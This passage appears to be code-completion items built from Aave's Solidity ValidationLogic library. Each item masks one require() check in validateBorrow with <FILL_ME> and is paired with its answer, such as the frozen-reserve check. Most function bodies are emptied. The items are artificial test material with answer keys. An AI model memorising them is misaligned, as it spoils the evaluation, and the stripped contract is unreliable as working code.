reserveCache, uint256 userBalance ) internal pure { } /** * @notice Validates a flashloan action. * @param reservesData The state of all the reserves * @param assets The assets being flash-borrowed * @param amounts The amounts for each asset being borrowed */ function validateFlashloan( mapping(address => DataTypes.ReserveData) storage reservesData, address[] memory assets, uint256[] memory amounts ) internal view { } /** * @notice Validates a flashloan action. * @param reserve The state of the reserve */ function validateFlashloanSimple(DataTypes.ReserveData storage reserve) internal view { } struct ValidateLiquidationCallLocalVars { bool collateralReserveActive; bool collateralReservePaused; bool principalReserveActive; bool principalReservePaused; bool isCollateralEnabled; } /** * @notice Validates the liquidation action. * @param userConfig The user configuration mapping * @param collateralReserve The reserve data of the collateral * @param params Additional parameters needed for the validation */ function validateLiquidationCall( DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveData storage collateralReserve, DataTypes.ValidateLiquidationCallParams memory params ) internal view { } /** * @notice Validates the health factor of a user. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param userConfig The state of the user for the specific reserve * @param user The user to validate health factor of * @param userEModeCategory The users active efficiency mode category * @param reservesCount The number of available reserves * @param oracle The price oracle */ function validateHealthFactor( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, address user, uint8 userEModeCategory, uint256 reservesCount, address oracle ) internal view returns (uint256, bool) { } /** * @notice Validates the health factor of a user and the ltv of the asset being withdrawn. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param userConfig The state of the user for the specific reserve * @param asset The asset for which the ltv will be validated * @param from The user from which the aTokens are being transferred * @param reservesCount The number of available reserves * @param oracle The price oracle * @param userEModeCategory The users active efficiency mode category */ function validateHFAndLtv( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, address asset, address from, uint256 reservesCount, address oracle, uint8 userEModeCategory ) internal view { } /** * @notice Validates a transfer action. * @param reserve The reserve object */ function validateTransfer(DataTypes.ReserveData storage reserve) internal view { } /** * @notice Validates a drop reserve action. * @param reservesList The addresses of all the active reserves * @param reserve The reserve object * @param asset The address of the reserve's underlying asset */ function validateDropReserve( mapping(uint256 => address) storage reservesList, DataTypes.ReserveData storage reserve, address asset ) internal view { } /** * @notice Validates the action of setting efficiency mode. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories a mapping storing configurations for all efficiency mode categories * @param userConfig the user configuration * @param reservesCount The total number of valid reserves * @param categoryId The id of the category */ function validateSetUserEMode( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, uint256 reservesCount, uint8 categoryId ) internal view { } /** * @notice Validates the action of activating the asset as collateral. * @dev Only possible if the asset has non-zero LTV and the user is not in isolation mode * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param userConfig the user configuration * @param reserveConfig The reserve configuration * @return True if the asset can be activated as collateral, false otherwise */ function validateUseAsCollateral( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveConfigurationMap memory reserveConfig ) internal view returns (bool) { } /** * @notice Validates if an asset should be automatically activated as collateral in the following actions: supply, * transfer, mint unbacked, and liquidate * @dev This is used to ensure that isolated assets are not enabled as collateral automatically * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param userConfig the user configuration * @param reserveConfig The reserve configuration * @return True if the asset can be activated as collateral, false otherwise */ function validateAutomaticUseAsCollateral( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveConfigurationMap memory reserveConfig, address aTokenAddress ) internal view returns (bool) { } }
!vars.isPaused,Errors.RESERVE_PAUSED
435,439
!vars.isPaused
Errors.RESERVE_FROZEN
// SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.10; import {IERC20} from '../../../dependencies/openzeppelin/contracts/IERC20.sol'; import {Address} from '../../../dependencies/openzeppelin/contracts/Address.sol'; import {GPv2SafeERC20} from '../../../dependencies/gnosis/contracts/GPv2SafeERC20.sol'; import {IReserveInterestRateStrategy} from '../../../interfaces/IReserveInterestRateStrategy.sol'; import {IStableDebtToken} from '../../../interfaces/IStableDebtToken.sol'; import {IScaledBalanceToken} from '../../../interfaces/IScaledBalanceToken.sol'; import {IPriceOracleGetter} from '../../../interfaces/IPriceOracleGetter.sol'; import {IAToken} from '../../../interfaces/IAToken.sol'; import {IPriceOracleSentinel} from '../../../interfaces/IPriceOracleSentinel.sol'; import {IPoolAddressesProvider} from '../../../interfaces/IPoolAddressesProvider.sol'; import {IAccessControl} from '../../../dependencies/openzeppelin/contracts/IAccessControl.sol'; import {ReserveConfiguration} from '../configuration/ReserveConfiguration.sol'; import {UserConfiguration} from '../configuration/UserConfiguration.sol'; import {Errors} from '../helpers/Errors.sol'; import {WadRayMath} from '../math/WadRayMath.sol'; import {PercentageMath} from '../math/PercentageMath.sol'; import {DataTypes} from '../types/DataTypes.sol'; import {ReserveLogic} from './ReserveLogic.sol'; import {GenericLogic} from './GenericLogic.sol'; import {SafeCast} from '../../../dependencies/openzeppelin/contracts/SafeCast.sol'; import {IncentivizedERC20} from '../../tokenization/base/IncentivizedERC20.sol'; /** * @title ReserveLogic library * @author Aave * @notice Implements functions to validate the different actions of the protocol */ library ValidationLogic { using ReserveLogic for DataTypes.ReserveData; using WadRayMath for uint256; using PercentageMath for uint256; using SafeCast for uint256; using GPv2SafeERC20 for IERC20; using ReserveConfiguration for DataTypes.ReserveConfigurationMap; using UserConfiguration for DataTypes.UserConfigurationMap; using Address for address; // Factor to apply to "only-variable-debt" liquidity rate to get threshold for rebalancing, expressed in bps // A value of 0.9e4 results in 90% uint256 public constant REBALANCE_UP_LIQUIDITY_RATE_THRESHOLD = 0.9e4; // Minimum health factor allowed under any circumstance // A value of 0.95e18 results in 0.95 uint256 public constant MINIMUM_HEALTH_FACTOR_LIQUIDATION_THRESHOLD = 0.95e18; /** * @dev Minimum health factor to consider a user position healthy * A value of 1e18 results in 1 */ uint256 public constant HEALTH_FACTOR_LIQUIDATION_THRESHOLD = 1e18; /** * @dev Role identifier for the role allowed to supply isolated reserves as collateral */ bytes32 public constant ISOLATED_COLLATERAL_SUPPLIER_ROLE = keccak256('ISOLATED_COLLATERAL_SUPPLIER'); /** * @notice Validates a supply action. * @param reserveCache The cached data of the reserve * @param amount The amount to be supplied */ function validateSupply( DataTypes.ReserveCache memory reserveCache, DataTypes.ReserveData storage reserve, uint256 amount ) internal view { } /** * @notice Validates a withdraw action. * @param reserveCache The cached data of the reserve * @param amount The amount to be withdrawn * @param userBalance The balance of the user */ function validateWithdraw( DataTypes.ReserveCache memory reserveCache, uint256 amount, uint256 userBalance ) internal pure { } struct ValidateBorrowLocalVars { uint256 currentLtv; uint256 collateralNeededInBaseCurrency; uint256 userCollateralInBaseCurrency; uint256 userDebtInBaseCurrency; uint256 availableLiquidity; uint256 healthFactor; uint256 totalDebt; uint256 totalSupplyVariableDebt; uint256 reserveDecimals; uint256 borrowCap; uint256 amountInBaseCurrency; uint256 assetUnit; address eModePriceSource; address siloedBorrowingAddress; bool isActive; bool isFrozen; bool isPaused; bool borrowingEnabled; bool stableRateBorrowingEnabled; bool siloedBorrowingEnabled; } /** * @notice Validates a borrow action. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param params Additional params needed for the validation */ function validateBorrow( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.ValidateBorrowParams memory params ) internal view { require(params.amount != 0, Errors.INVALID_AMOUNT); ValidateBorrowLocalVars memory vars; ( vars.isActive, vars.isFrozen, vars.borrowingEnabled, vars.stableRateBorrowingEnabled, vars.isPaused ) = params.reserveCache.reserveConfiguration.getFlags(); require(vars.isActive, Errors.RESERVE_INACTIVE); require(!vars.isPaused, Errors.RESERVE_PAUSED); require(<FILL_ME>) require(vars.borrowingEnabled, Errors.BORROWING_NOT_ENABLED); require( params.priceOracleSentinel == address(0) || IPriceOracleSentinel(params.priceOracleSentinel).isBorrowAllowed(), Errors.PRICE_ORACLE_SENTINEL_CHECK_FAILED ); //validate interest rate mode require( params.interestRateMode == DataTypes.InterestRateMode.VARIABLE || params.interestRateMode == DataTypes.InterestRateMode.STABLE, Errors.INVALID_INTEREST_RATE_MODE_SELECTED ); vars.reserveDecimals = params.reserveCache.reserveConfiguration.getDecimals(); vars.borrowCap = params.reserveCache.reserveConfiguration.getBorrowCap(); unchecked { vars.assetUnit = 10 ** vars.reserveDecimals; } if (vars.borrowCap != 0) { vars.totalSupplyVariableDebt = params.reserveCache.currScaledVariableDebt.rayMul( params.reserveCache.nextVariableBorrowIndex ); vars.totalDebt = params.reserveCache.currTotalStableDebt + vars.totalSupplyVariableDebt + params.amount; unchecked { require(vars.totalDebt <= vars.borrowCap * vars.assetUnit, Errors.BORROW_CAP_EXCEEDED); } } if (params.isolationModeActive) { // check that the asset being borrowed is borrowable in isolation mode AND // the total exposure is no bigger than the collateral debt ceiling require( params.reserveCache.reserveConfiguration.getBorrowableInIsolation(), Errors.ASSET_NOT_BORROWABLE_IN_ISOLATION ); require( reservesData[params.isolationModeCollateralAddress].isolationModeTotalDebt + (params.amount / 10 ** (vars.reserveDecimals - ReserveConfiguration.DEBT_CEILING_DECIMALS)) .toUint128() <= params.isolationModeDebtCeiling, Errors.DEBT_CEILING_EXCEEDED ); } if (params.userEModeCategory != 0) { require( params.reserveCache.reserveConfiguration.getEModeCategory() == params.userEModeCategory, Errors.INCONSISTENT_EMODE_CATEGORY ); vars.eModePriceSource = eModeCategories[params.userEModeCategory].priceSource; } ( vars.userCollateralInBaseCurrency, vars.userDebtInBaseCurrency, vars.currentLtv, , vars.healthFactor, ) = GenericLogic.calculateUserAccountData( reservesData, reservesList, eModeCategories, DataTypes.CalculateUserAccountDataParams({ userConfig: params.userConfig, reservesCount: params.reservesCount, user: params.userAddress, oracle: params.oracle, userEModeCategory: params.userEModeCategory }) ); require(vars.userCollateralInBaseCurrency != 0, Errors.COLLATERAL_BALANCE_IS_ZERO); require(vars.currentLtv != 0, Errors.LTV_VALIDATION_FAILED); require( vars.healthFactor > HEALTH_FACTOR_LIQUIDATION_THRESHOLD, Errors.HEALTH_FACTOR_LOWER_THAN_LIQUIDATION_THRESHOLD ); vars.amountInBaseCurrency = IPriceOracleGetter(params.oracle).getAssetPrice( vars.eModePriceSource != address(0) ? vars.eModePriceSource : params.asset ) * params.amount; unchecked { vars.amountInBaseCurrency /= vars.assetUnit; } //add the current already borrowed amount to the amount requested to calculate the total collateral needed. vars.collateralNeededInBaseCurrency = (vars.userDebtInBaseCurrency + vars.amountInBaseCurrency) .percentDiv(vars.currentLtv); //LTV is calculated in percentage require( vars.collateralNeededInBaseCurrency <= vars.userCollateralInBaseCurrency, Errors.COLLATERAL_CANNOT_COVER_NEW_BORROW ); /** * Following conditions need to be met if the user is borrowing at a stable rate: * 1. Reserve must be enabled for stable rate borrowing * 2. Users cannot borrow from the reserve if their collateral is (mostly) the same currency * they are borrowing, to prevent abuses. * 3. Users will be able to borrow only a portion of the total available liquidity */ if (params.interestRateMode == DataTypes.InterestRateMode.STABLE) { //check if the borrow mode is stable and if stable rate borrowing is enabled on this reserve require(vars.stableRateBorrowingEnabled, Errors.STABLE_BORROWING_NOT_ENABLED); require( !params.userConfig.isUsingAsCollateral(reservesData[params.asset].id) || params.reserveCache.reserveConfiguration.getLtv() == 0 || params.amount > IERC20(params.reserveCache.aTokenAddress).balanceOf(params.userAddress), Errors.COLLATERAL_SAME_AS_BORROWING_CURRENCY ); vars.availableLiquidity = IERC20(params.asset).balanceOf(params.reserveCache.aTokenAddress); //calculate the max available loan size in stable rate mode as a percentage of the //available liquidity uint256 maxLoanSizeStable = vars.availableLiquidity.percentMul(params.maxStableLoanPercent); require(params.amount <= maxLoanSizeStable, Errors.AMOUNT_BIGGER_THAN_MAX_LOAN_SIZE_STABLE); } if (params.userConfig.isBorrowingAny()) { (vars.siloedBorrowingEnabled, vars.siloedBorrowingAddress) = params .userConfig .getSiloedBorrowingState(reservesData, reservesList); if (vars.siloedBorrowingEnabled) { require(vars.siloedBorrowingAddress == params.asset, Errors.SILOED_BORROWING_VIOLATION); } else { require( !params.reserveCache.reserveConfiguration.getSiloedBorrowing(), Errors.SILOED_BORROWING_VIOLATION ); } } } /** * @notice Validates a repay action. * @param reserveCache The cached data of the reserve * @param amountSent The amount sent for the repayment. Can be an actual value or uint(-1) * @param interestRateMode The interest rate mode of the debt being repaid * @param onBehalfOf The address of the user msg.sender is repaying for * @param stableDebt The borrow balance of the user * @param variableDebt The borrow balance of the user */ function validateRepay( DataTypes.ReserveCache memory reserveCache, uint256 amountSent, DataTypes.InterestRateMode interestRateMode, address onBehalfOf, uint256 stableDebt, uint256 variableDebt ) internal view { } /** * @notice Validates a swap of borrow rate mode. * @param reserve The reserve state on which the user is swapping the rate * @param reserveCache The cached data of the reserve * @param userConfig The user reserves configuration * @param stableDebt The stable debt of the user * @param variableDebt The variable debt of the user * @param currentRateMode The rate mode of the debt being swapped */ function validateSwapRateMode( DataTypes.ReserveData storage reserve, DataTypes.ReserveCache memory reserveCache, DataTypes.UserConfigurationMap storage userConfig, uint256 stableDebt, uint256 variableDebt, DataTypes.InterestRateMode currentRateMode ) internal view { } /** * @notice Validates a stable borrow rate rebalance action. * @dev Rebalancing is accepted when depositors are earning <= 90% of their earnings in pure supply/demand market (variable rate only) * For this to be the case, there has to be quite large stable debt with an interest rate below the current variable rate. * @param reserve The reserve state on which the user is getting rebalanced * @param reserveCache The cached state of the reserve * @param reserveAddress The address of the reserve */ function validateRebalanceStableBorrowRate( DataTypes.ReserveData storage reserve, DataTypes.ReserveCache memory reserveCache, address reserveAddress ) internal view { } /** * @notice Validates the action of setting an asset as collateral. * @param reserveCache The cached data of the reserve * @param userBalance The balance of the user */ function validateSetUseReserveAsCollateral( DataTypes.ReserveCache memory reserveCache, uint256 userBalance ) internal pure { } /** * @notice Validates a flashloan action. * @param reservesData The state of all the reserves * @param assets The assets being flash-borrowed * @param amounts The amounts for each asset being borrowed */ function validateFlashloan( mapping(address => DataTypes.ReserveData) storage reservesData, address[] memory assets, uint256[] memory amounts ) internal view { } /** * @notice Validates a flashloan action. * @param reserve The state of the reserve */ function validateFlashloanSimple(DataTypes.ReserveData storage reserve) internal view { } struct ValidateLiquidationCallLocalVars { bool collateralReserveActive; bool collateralReservePaused; bool principalReserveActive; bool principalReservePaused; bool isCollateralEnabled; } /** * @notice Validates the liquidation action. * @param userConfig The user configuration mapping * @param collateralReserve The reserve data of the collateral * @param params Additional parameters needed for the validation */ function validateLiquidationCall( DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveData storage collateralReserve, DataTypes.ValidateLiquidationCallParams memory params ) internal view { } /** * @notice Validates the health factor of a user. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param userConfig The state of the user for the specific reserve * @param user The user to validate health factor of * @param userEModeCategory The users active efficiency mode category * @param reservesCount The number of available reserves * @param oracle The price oracle */ function validateHealthFactor( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, address user, uint8 userEModeCategory, uint256 reservesCount, address oracle ) internal view returns (uint256, bool) { } /** * @notice Validates the health factor of a user and the ltv of the asset being withdrawn. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param userConfig The state of the user for the specific reserve * @param asset The asset for which the ltv will be validated * @param from The user from which the aTokens are being transferred * @param reservesCount The number of available reserves * @param oracle The price oracle * @param userEModeCategory The users active efficiency mode category */ function validateHFAndLtv( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, address asset, address from, uint256 reservesCount, address oracle, uint8 userEModeCategory ) internal view { } /** * @notice Validates a transfer action. * @param reserve The reserve object */ function validateTransfer(DataTypes.ReserveData storage reserve) internal view { } /** * @notice Validates a drop reserve action. * @param reservesList The addresses of all the active reserves * @param reserve The reserve object * @param asset The address of the reserve's underlying asset */ function validateDropReserve( mapping(uint256 => address) storage reservesList, DataTypes.ReserveData storage reserve, address asset ) internal view { } /** * @notice Validates the action of setting efficiency mode. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories a mapping storing configurations for all efficiency mode categories * @param userConfig the user configuration * @param reservesCount The total number of valid reserves * @param categoryId The id of the category */ function validateSetUserEMode( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, uint256 reservesCount, uint8 categoryId ) internal view { } /** * @notice Validates the action of activating the asset as collateral. * @dev Only possible if the asset has non-zero LTV and the user is not in isolation mode * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param userConfig the user configuration * @param reserveConfig The reserve configuration * @return True if the asset can be activated as collateral, false otherwise */ function validateUseAsCollateral( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveConfigurationMap memory reserveConfig ) internal view returns (bool) { } /** * @notice Validates if an asset should be automatically activated as collateral in the following actions: supply, * transfer, mint unbacked, and liquidate * @dev This is used to ensure that isolated assets are not enabled as collateral automatically * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param userConfig the user configuration * @param reserveConfig The reserve configuration * @return True if the asset can be activated as collateral, false otherwise */ function validateAutomaticUseAsCollateral( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveConfigurationMap memory reserveConfig, address aTokenAddress ) internal view returns (bool) { } }
!vars.isFrozen,Errors.RESERVE_FROZEN
435,439
!vars.isFrozen
Errors.BORROWING_NOT_ENABLED
// SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.10; import {IERC20} from '../../../dependencies/openzeppelin/contracts/IERC20.sol'; import {Address} from '../../../dependencies/openzeppelin/contracts/Address.sol'; import {GPv2SafeERC20} from '../../../dependencies/gnosis/contracts/GPv2SafeERC20.sol'; import {IReserveInterestRateStrategy} from '../../../interfaces/IReserveInterestRateStrategy.sol'; import {IStableDebtToken} from '../../../interfaces/IStableDebtToken.sol'; import {IScaledBalanceToken} from '../../../interfaces/IScaledBalanceToken.sol'; import {IPriceOracleGetter} from '../../../interfaces/IPriceOracleGetter.sol'; import {IAToken} from '../../../interfaces/IAToken.sol'; import {IPriceOracleSentinel} from '../../../interfaces/IPriceOracleSentinel.sol'; import {IPoolAddressesProvider} from '../../../interfaces/IPoolAddressesProvider.sol'; import {IAccessControl} from '../../../dependencies/openzeppelin/contracts/IAccessControl.sol'; import {ReserveConfiguration} from '../configuration/ReserveConfiguration.sol'; import {UserConfiguration} from '../configuration/UserConfiguration.sol'; import {Errors} from '../helpers/Errors.sol'; import {WadRayMath} from '../math/WadRayMath.sol'; import {PercentageMath} from '../math/PercentageMath.sol'; import {DataTypes} from '../types/DataTypes.sol'; import {ReserveLogic} from './ReserveLogic.sol'; import {GenericLogic} from './GenericLogic.sol'; import {SafeCast} from '../../../dependencies/openzeppelin/contracts/SafeCast.sol'; import {IncentivizedERC20} from '../../tokenization/base/IncentivizedERC20.sol'; /** * @title ReserveLogic library * @author Aave * @notice Implements functions to validate the different actions of the protocol */ library ValidationLogic { using ReserveLogic for DataTypes.ReserveData; using WadRayMath for uint256; using PercentageMath for uint256; using SafeCast for uint256; using GPv2SafeERC20 for IERC20; using ReserveConfiguration for DataTypes.ReserveConfigurationMap; using UserConfiguration for DataTypes.UserConfigurationMap; using Address for address; // Factor to apply to "only-variable-debt" liquidity rate to get threshold for rebalancing, expressed in bps // A value of 0.9e4 results in 90% uint256 public constant REBALANCE_UP_LIQUIDITY_RATE_THRESHOLD = 0.9e4; // Minimum health factor allowed under any circumstance // A value of 0.95e18 results in 0.95 uint256 public constant MINIMUM_HEALTH_FACTOR_LIQUIDATION_THRESHOLD = 0.95e18; /** * @dev Minimum health factor to consider a user position healthy * A value of 1e18 results in 1 */ uint256 public constant HEALTH_FACTOR_LIQUIDATION_THRESHOLD = 1e18; /** * @dev Role identifier for the role allowed to supply isolated reserves as collateral */ bytes32 public constant ISOLATED_COLLATERAL_SUPPLIER_ROLE = keccak256('ISOLATED_COLLATERAL_SUPPLIER'); /** * @notice Validates a supply action. * @param reserveCache The cached data of the reserve * @param amount The amount to be supplied */ function validateSupply( DataTypes.ReserveCache memory reserveCache, DataTypes.ReserveData storage reserve, uint256 amount ) internal view { } /** * @notice Validates a withdraw action. * @param reserveCache The cached data of the reserve * @param amount The amount to be withdrawn * @param userBalance The balance of the user */ function validateWithdraw( DataTypes.ReserveCache memory reserveCache, uint256 amount, uint256 userBalance ) internal pure { } struct ValidateBorrowLocalVars { uint256 currentLtv; uint256 collateralNeededInBaseCurrency; uint256 userCollateralInBaseCurrency; uint256 userDebtInBaseCurrency; uint256 availableLiquidity; uint256 healthFactor; uint256 totalDebt; uint256 totalSupplyVariableDebt; uint256 reserveDecimals; uint256 borrowCap; uint256 amountInBaseCurrency; uint256 assetUnit; address eModePriceSource; address siloedBorrowingAddress; bool isActive; bool isFrozen; bool isPaused; bool borrowingEnabled; bool stableRateBorrowingEnabled; bool siloedBorrowingEnabled; } /** * @notice Validates a borrow action. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param params Additional params needed for the validation */ function validateBorrow( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.ValidateBorrowParams memory params ) internal view { require(params.amount != 0, Errors.INVALID_AMOUNT); ValidateBorrowLocalVars memory vars; ( vars.isActive, vars.isFrozen, vars.borrowingEnabled, vars.stableRateBorrowingEnabled, vars.isPaused ) = params.reserveCache.reserveConfiguration.getFlags(); require(vars.isActive, Errors.RESERVE_INACTIVE); require(!vars.isPaused, Errors.RESERVE_PAUSED); require(!vars.isFrozen, Errors.RESERVE_FROZEN); require(<FILL_ME>) require( params.priceOracleSentinel == address(0) || IPriceOracleSentinel(params.priceOracleSentinel).isBorrowAllowed(), Errors.PRICE_ORACLE_SENTINEL_CHECK_FAILED ); //validate interest rate mode require( params.interestRateMode == DataTypes.InterestRateMode.VARIABLE || params.interestRateMode == DataTypes.InterestRateMode.STABLE, Errors.INVALID_INTEREST_RATE_MODE_SELECTED ); vars.reserveDecimals = params.reserveCache.reserveConfiguration.getDecimals(); vars.borrowCap = params.reserveCache.reserveConfiguration.getBorrowCap(); unchecked { vars.assetUnit = 10 ** vars.reserveDecimals; } if (vars.borrowCap != 0) { vars.totalSupplyVariableDebt = params.reserveCache.currScaledVariableDebt.rayMul( params.reserveCache.nextVariableBorrowIndex ); vars.totalDebt = params.reserveCache.currTotalStableDebt + vars.totalSupplyVariableDebt + params.amount; unchecked { require(vars.totalDebt <= vars.borrowCap * vars.assetUnit, Errors.BORROW_CAP_EXCEEDED); } } if (params.isolationModeActive) { // check that the asset being borrowed is borrowable in isolation mode AND // the total exposure is no bigger than the collateral debt ceiling require( params.reserveCache.reserveConfiguration.getBorrowableInIsolation(), Errors.ASSET_NOT_BORROWABLE_IN_ISOLATION ); require( reservesData[params.isolationModeCollateralAddress].isolationModeTotalDebt + (params.amount / 10 ** (vars.reserveDecimals - ReserveConfiguration.DEBT_CEILING_DECIMALS)) .toUint128() <= params.isolationModeDebtCeiling, Errors.DEBT_CEILING_EXCEEDED ); } if (params.userEModeCategory != 0) { require( params.reserveCache.reserveConfiguration.getEModeCategory() == params.userEModeCategory, Errors.INCONSISTENT_EMODE_CATEGORY ); vars.eModePriceSource = eModeCategories[params.userEModeCategory].priceSource; } ( vars.userCollateralInBaseCurrency, vars.userDebtInBaseCurrency, vars.currentLtv, , vars.healthFactor, ) = GenericLogic.calculateUserAccountData( reservesData, reservesList, eModeCategories, DataTypes.CalculateUserAccountDataParams({ userConfig: params.userConfig, reservesCount: params.reservesCount, user: params.userAddress, oracle: params.oracle, userEModeCategory: params.userEModeCategory }) ); require(vars.userCollateralInBaseCurrency != 0, Errors.COLLATERAL_BALANCE_IS_ZERO); require(vars.currentLtv != 0, Errors.LTV_VALIDATION_FAILED); require( vars.healthFactor > HEALTH_FACTOR_LIQUIDATION_THRESHOLD, Errors.HEALTH_FACTOR_LOWER_THAN_LIQUIDATION_THRESHOLD ); vars.amountInBaseCurrency = IPriceOracleGetter(params.oracle).getAssetPrice( vars.eModePriceSource != address(0) ? vars.eModePriceSource : params.asset ) * params.amount; unchecked { vars.amountInBaseCurrency /= vars.assetUnit; } //add the current already borrowed amount to the amount requested to calculate the total collateral needed. vars.collateralNeededInBaseCurrency = (vars.userDebtInBaseCurrency + vars.amountInBaseCurrency) .percentDiv(vars.currentLtv); //LTV is calculated in percentage require( vars.collateralNeededInBaseCurrency <= vars.userCollateralInBaseCurrency, Errors.COLLATERAL_CANNOT_COVER_NEW_BORROW ); /** * Following conditions need to be met if the user is borrowing at a stable rate: * 1. Reserve must be enabled for stable rate borrowing * 2. Users cannot borrow from the reserve if their collateral is (mostly) the same currency * they are borrowing, to prevent abuses. * 3. Users will be able to borrow only a portion of the total available liquidity */ if (params.interestRateMode == DataTypes.InterestRateMode.STABLE) { //check if the borrow mode is stable and if stable rate borrowing is enabled on this reserve require(vars.stableRateBorrowingEnabled, Errors.STABLE_BORROWING_NOT_ENABLED); require( !params.userConfig.isUsingAsCollateral(reservesData[params.asset].id) || params.reserveCache.reserveConfiguration.getLtv() == 0 || params.amount > IERC20(params.reserveCache.aTokenAddress).balanceOf(params.userAddress), Errors.COLLATERAL_SAME_AS_BORROWING_CURRENCY ); vars.availableLiquidity = IERC20(params.asset).balanceOf(params.reserveCache.aTokenAddress); //calculate the max available loan size in stable rate mode as a percentage of the //available liquidity uint256 maxLoanSizeStable = vars.availableLiquidity.percentMul(params.maxStableLoanPercent); require(params.amount <= maxLoanSizeStable, Errors.AMOUNT_BIGGER_THAN_MAX_LOAN_SIZE_STABLE); } if (params.userConfig.isBorrowingAny()) { (vars.siloedBorrowingEnabled, vars.siloedBorrowingAddress) = params .userConfig .getSiloedBorrowingState(reservesData, reservesList); if (vars.siloedBorrowingEnabled) { require(vars.siloedBorrowingAddress == params.asset, Errors.SILOED_BORROWING_VIOLATION); } else { require( !params.reserveCache.reserveConfiguration.getSiloedBorrowing(), Errors.SILOED_BORROWING_VIOLATION ); } } } /** * @notice Validates a repay action. * @param reserveCache The cached data of the reserve * @param amountSent The amount sent for the repayment. Can be an actual value or uint(-1) * @param interestRateMode The interest rate mode of the debt being repaid * @param onBehalfOf The address of the user msg.sender is repaying for * @param stableDebt The borrow balance of the user * @param variableDebt The borrow balance of the user */ function validateRepay( DataTypes.ReserveCache memory reserveCache, uint256 amountSent, DataTypes.InterestRateMode interestRateMode, address onBehalfOf, uint256 stableDebt, uint256 variableDebt ) internal view { } /** * @notice Validates a swap of borrow rate mode. * @param reserve The reserve state on which the user is swapping the rate * @param reserveCache The cached data of the reserve * @param userConfig The user reserves configuration * @param stableDebt The stable debt of the user * @param variableDebt The variable debt of the user * @param currentRateMode The rate mode of the debt being swapped */ function validateSwapRateMode( DataTypes.ReserveData storage reserve, DataTypes.ReserveCache memory reserveCache, DataTypes.UserConfigurationMap storage userConfig, uint256 stableDebt, uint256 variableDebt, DataTypes.InterestRateMode currentRateMode ) internal view { } /** * @notice Validates a stable borrow rate rebalance action. * @dev Rebalancing is accepted when depositors are earning <= 90% of their earnings in pure supply/demand market (variable rate only) * For this to be the case, there has to be quite large stable debt with an interest rate below the current variable rate. * @param reserve The reserve state on which the user is getting rebalanced * @param reserveCache The cached state of the reserve * @param reserveAddress The address of the reserve */ function validateRebalanceStableBorrowRate( DataTypes.ReserveData storage reserve, DataTypes.ReserveCache memory reserveCache, address reserveAddress ) internal view { } /** * @notice Validates the action of setting an asset as collateral. * @param reserveCache The cached data of the reserve * @param userBalance The balance of the user */ function validateSetUseReserveAsCollateral( DataTypes.ReserveCache memory reserveCache, uint256 userBalance ) internal pure { } /** * @notice Validates a flashloan action. * @param reservesData The state of all the reserves * @param assets The assets being flash-borrowed * @param amounts The amounts for each asset being borrowed */ function validateFlashloan( mapping(address => DataTypes.ReserveData) storage reservesData, address[] memory assets, uint256[] memory amounts ) internal view { } /** * @notice Validates a flashloan action. * @param reserve The state of the reserve */ function validateFlashloanSimple(DataTypes.ReserveData storage reserve) internal view { } struct ValidateLiquidationCallLocalVars { bool collateralReserveActive; bool collateralReservePaused; bool principalReserveActive; bool principalReservePaused; bool isCollateralEnabled; } /** * @notice Validates the liquidation action. * @param userConfig The user configuration mapping * @param collateralReserve The reserve data of the collateral * @param params Additional parameters needed for the validation */ function validateLiquidationCall( 